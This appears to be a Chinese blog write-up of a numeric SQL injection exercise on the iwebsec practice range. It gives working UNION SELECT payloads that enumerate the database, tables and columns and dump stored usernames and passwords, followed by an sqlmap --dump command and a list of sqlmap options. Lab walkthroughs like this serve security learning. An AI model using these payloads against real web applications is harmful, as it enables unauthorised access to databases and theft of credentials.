[iwebsec]sql注入-数字型

简介

image-20220427111551703

手工注入

首先访问我们的靶场环境:http://192.168.30.171

接着访问sql注入漏洞>01-数字型注入

image-20220427111846700

靶场环境

image-20220427111933111

发现漏洞

使用hackbar或者直接在url地址栏当输入单引号’%27

这里我选择使用hackbar会比较方便一点

可以看到,我们输入的单引号直接被带入到语句当中执行了,导致我们的页面中直接返回了sql错误的信息。

image-20220427202223789

这种直接被带入执行的语句是很危险的,因为这个地方可以由用户自定义恶意的sql代码,从而对数据库进行窃取、破坏、安装后门等一系列的破坏数据库的行为

漏洞复现

既然我们已经发现漏洞,我们就需要对漏洞进行复现,从而熟悉黑客攻击的过程以便于我们后期更好地进行有效的防护

获取数据库名

我们可以构造恶意的sql语句获取当前的数据库名字

判断当前表的字段数量,这里可以通过二分查找法快速确定

攻击代码如下:

#成功判断字段数量为3
http://192.168.30.171/sqli/01.php?id=3 order by 3
#通过联合查询查看可以回显的字段,回显的地方一共有3个
http://192.168.30.171/sqli/01.php?id=-3 union select 1,2,3
#通过回显的地方查看数据路径,操作系统
http://192.168.30.171/sqli/01.php?id=-3 union select @@datadir,@@version_compile_os,3

image-20220427204506726

#获取当前数据库的名字
http://192.168.30.171/sqli/01.php?id=-3 union select database(),2,3

image-20220427204838374

获取数据库的表名

获取到数据库名之后,可以查看有多少表,有什么表,最后筛选出来有什么表是具有价值的,比如:admin、users、config、data类似名字

攻击代码如下:

http://192.168.30.171/sqli/01.php?id=-3 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

查看出来有:sqli,user,users,xss

目前看来有直接价值的是user,users这两个表

image-20220427205344901

获取user和users表的字段名

查看users表中的字段

攻击代码如下:

http://192.168.30.171/sqli/01.php?id=-3 union select table_schema, table_name, group_concat(column_name) from information_schema.columns where table_name='users'

image-20220428104625424

users表的字段有:username,password,role

查看user表中的字段

攻击代码如下:

http://192.168.30.171/sqli/01.php?id=-3 union select table_schema, table_name, group_concat(column_name) from 
information_schema.columns where table_name='user'#只是将这个地方修改为user即可

image-20220428104835812

user表的字段有:id,username,password

读取这两个表中的数据

要时刻记住我们的最终目的就是信息,也就是数据,得数据者得天下!

从上面的结果来看,对我们来说有用的字段也就是比较显眼的username和password,只要得到这两个字段中的数据我们就可以使用任意用户进行登录

获取users表中的数据

攻击代码如下:

http://192.168.30.171/sqli/01.php?id=-3 union select username,password,3 from users --+

image-20220428105345706

这个表中只有一条数据,username:orange,password:mall123mall

注:这里提醒一下,由于实际场景中的数据量是很庞大的,不应该直接像上面那样直接将数据回显出来,应该对这些数据进行限制输出处理也就使用limit关键字

获取user表中的数据

攻击代码如下:

http://192.168.30.171/sqli/01.php?id=-3 union select username,password,3 from user --+

image-20220428110034618

这个表中一共有三条数据

idnameage
user1pass13
user2pass23
user3pass33

到这里,整个漏洞复现也就结束了,当然绝对不仅限于上面,这些都只是最基础最基础的内容。其实只要像上面这种什么权限都有已经属于高危漏洞了,实际场景当中都是存在有waf进行防御,也就是说即使代码没有过滤,也很难绕过这些waf。

使用sqlmap进行注入

实际场景中,如果使用手工确定一处存在漏洞,我们便可以直接把它丢到sqlmap就行了,很少会像上面那样使用繁琐的方式获取信息。上面也仅仅只是用于了解原理进行学习。

获取user表中的数据

sqlmap -u "http://192.168.30.171/sqli/01.php?id=3" --batch -D iwebsec -T user -C username,password --dump

image-20220428111659537

 +----------+----------+
 | username | password |
 +----------+----------+
 | user1    | pass1    |
 | user2    | pass2    |
 | user3    | pass3    |
 +----------+----------+

跟我们手工注入获取的信息是一样的,上面的命令都是已知数据库、表名、字段

如果不知道数据库、表名、字段情况下也是不能获取数据的,下面一些参数就可以起到信息收集的作用了。最后使用dump出来就行了。

sqlmap参数:

–dbs 列举数据库

–current-db 当前数据库

–tables 列举数据库的表名

–columns 列举表的字段名

–dump 列举表中的数据

-D 指定数据库

-T 指定表

-C 指定字段,可用逗号,进行分割

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值